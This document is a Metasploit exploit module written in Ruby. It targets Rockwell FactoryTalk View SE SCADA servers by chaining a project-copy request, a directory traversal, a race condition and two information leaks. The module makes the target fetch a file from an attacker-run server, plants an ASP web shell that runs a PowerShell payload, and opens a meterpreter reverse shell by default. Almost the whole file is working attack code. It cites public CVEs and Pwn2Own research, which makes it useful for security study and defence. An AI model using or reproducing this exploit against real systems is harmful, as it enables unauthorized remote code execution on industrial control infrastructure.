231 lines
8.7 KiB
Ruby
231 lines
8.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution
|
|
on the Rockwell FactoryTalk View SE SCADA product as the IIS user.
|
|
The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request,
|
|
the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all
|
|
targets, two information leak vulnerabilities are also abused.
|
|
This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
|
|
'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'],
|
|
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'],
|
|
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'],
|
|
[ 'CVE', '2020-12027'],
|
|
[ 'CVE', '2020-12028'],
|
|
[ 'CVE', '2020-12029'],
|
|
[ 'ZDI', '20-727'],
|
|
[ 'ZDI', '20-728'],
|
|
[ 'ZDI', '20-729'],
|
|
[ 'ZDI', '20-730'],
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Payload' => {
|
|
'DefaultOptions' =>
|
|
{
|
|
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
|
|
}
|
|
},
|
|
'DefaultOptions' => { 'WfsDelay' => 20 },
|
|
'Targets' => [
|
|
[ 'Rockwell Automation FactoryTalk SE', {} ]
|
|
],
|
|
'DisclosureDate' => '2020-06-22',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']),
|
|
OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]),
|
|
OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/'])
|
|
]
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]),
|
|
]
|
|
)
|
|
end
|
|
|
|
def send_to_factory(path)
|
|
send_request_cgi({
|
|
'uri' => normalize_uri(target_uri, path),
|
|
'method' => 'GET'
|
|
})
|
|
end
|
|
|
|
def check
|
|
res = send_to_factory('/hmi_isapi.dll')
|
|
return Exploit::CheckCode::Safe unless res && res.code == 200
|
|
|
|
# Parse version from response body
|
|
# Example: Version 11.00.00.230
|
|
version = res.body.scan(/Version ([0-9.]{5,})/).flatten.first.to_s.split('.')
|
|
|
|
# Is returned version sound?
|
|
unless version.empty?
|
|
if version.length != 4
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}")
|
|
if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230
|
|
# we know this exact version is vulnerable (11.00.00.230)
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
if request.uri.include?(@shelly)
|
|
print_good("#{peer} - Target connected, sending payload")
|
|
psh = cmd_psh_payload(
|
|
payload.encoded,
|
|
payload.arch.first
|
|
# without comspec it seems to fail, so keep it this way
|
|
# remove_comspec: true
|
|
)
|
|
# add double quotes for classic ASP escaping
|
|
psh.gsub!('"', '""')
|
|
|
|
# NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell
|
|
# This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore...
|
|
# If this module is not working on an older Windows version, try the below as payload:
|
|
# payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe)
|
|
payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>}
|
|
send_response(cli, payload)
|
|
# payload file is deleted automatically by the server once we win the race!
|
|
|
|
elsif request.uri.include?(@proj_name)
|
|
# Directory traversal: vulnerable asp file will land in the path we provide
|
|
print_good("#{peer} - Target connected, sending file path with dir traversal")
|
|
# Check the comments in the Infoleak 2 (project installation path) to understand why
|
|
filename = "../SE/HMI Projects/#{@shelly}"
|
|
send_response(cli, filename)
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
# Infoleak 1 (project listing)
|
|
print_status("#{peer} - Listing projects on the server")
|
|
res = send_to_factory('/hmi_isapi.dll?GetHMIProjects')
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless
|
|
res && res.code == 200 && res.body.include?('HMIProject')
|
|
|
|
print_status("#{peer} - Received list of projects from the server")
|
|
@proj_name = nil
|
|
proj_path = ''
|
|
xml = res.get_xml_document
|
|
|
|
# Parse XML project list and check each project for installation project path
|
|
xml.search('HMIProject').each do |project|
|
|
# Infoleak 2 (project installation path)
|
|
# In the original exploit, we used this to calculate the directory traversal path, but
|
|
# Google says the path is the same for all versions since at least 2007.
|
|
# Let's still abuse it to check if the project is valid.
|
|
url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}"
|
|
res = send_to_factory(url)
|
|
|
|
proj_path = res.body.strip
|
|
|
|
# Check if response contains :\ that indicates a windows path
|
|
next unless proj_path.include?(':\\')
|
|
|
|
print_status("#{peer} - Found project path: #{proj_path}")
|
|
|
|
# We only need first hit so we can quit the project parsing once we get it
|
|
if project.attributes['Name']
|
|
@proj_name = project.attributes['Name']
|
|
break
|
|
end
|
|
end
|
|
|
|
if !@proj_name
|
|
fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...')
|
|
end
|
|
|
|
shell_path = proj_path.sub(@proj_name, '').strip
|
|
print_good("#{peer} - Got a path to drop our shell: #{shell_path}")
|
|
|
|
# Start http server for project copy callback
|
|
http_service = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
|
|
print_status("#{peer} - Starting up our web service on #{http_service} ...")
|
|
|
|
start_service({
|
|
'Uri' => {
|
|
'Proc' => proc do |cli, req|
|
|
on_request_uri(cli, req)
|
|
end,
|
|
# This path has to be capitalized as "RSViewSE" or else the exploit will fail!
|
|
'Path' => '/RSViewSE/'
|
|
}
|
|
})
|
|
|
|
# Race Condition
|
|
# This is the racer thread. It will continuously access our asp file until it gets executed
|
|
print_status("#{peer} - Starting racer thread, let's win this race condition!")
|
|
@shelly = "#{rand_text_alpha(5..10)}.asp"
|
|
racer = Thread.new do
|
|
loop do
|
|
res = send_to_factory("/#{@shelly}")
|
|
if res.code == 200
|
|
print_good("#{peer} - We've won the race condition, shell incoming!")
|
|
break
|
|
end
|
|
end
|
|
end
|
|
|
|
# Project Copy Request: target will connect to us to obtain project information.
|
|
print_status("#{peer} - Initiating project copy request...")
|
|
url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1"
|
|
res = send_to_factory(url)
|
|
|
|
# wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish
|
|
count = 0
|
|
while count < datastore['SLEEP_RACER']
|
|
break if racer.status == false
|
|
|
|
sleep(1)
|
|
count += 1
|
|
end
|
|
racer.exit
|
|
end
|
|
end
|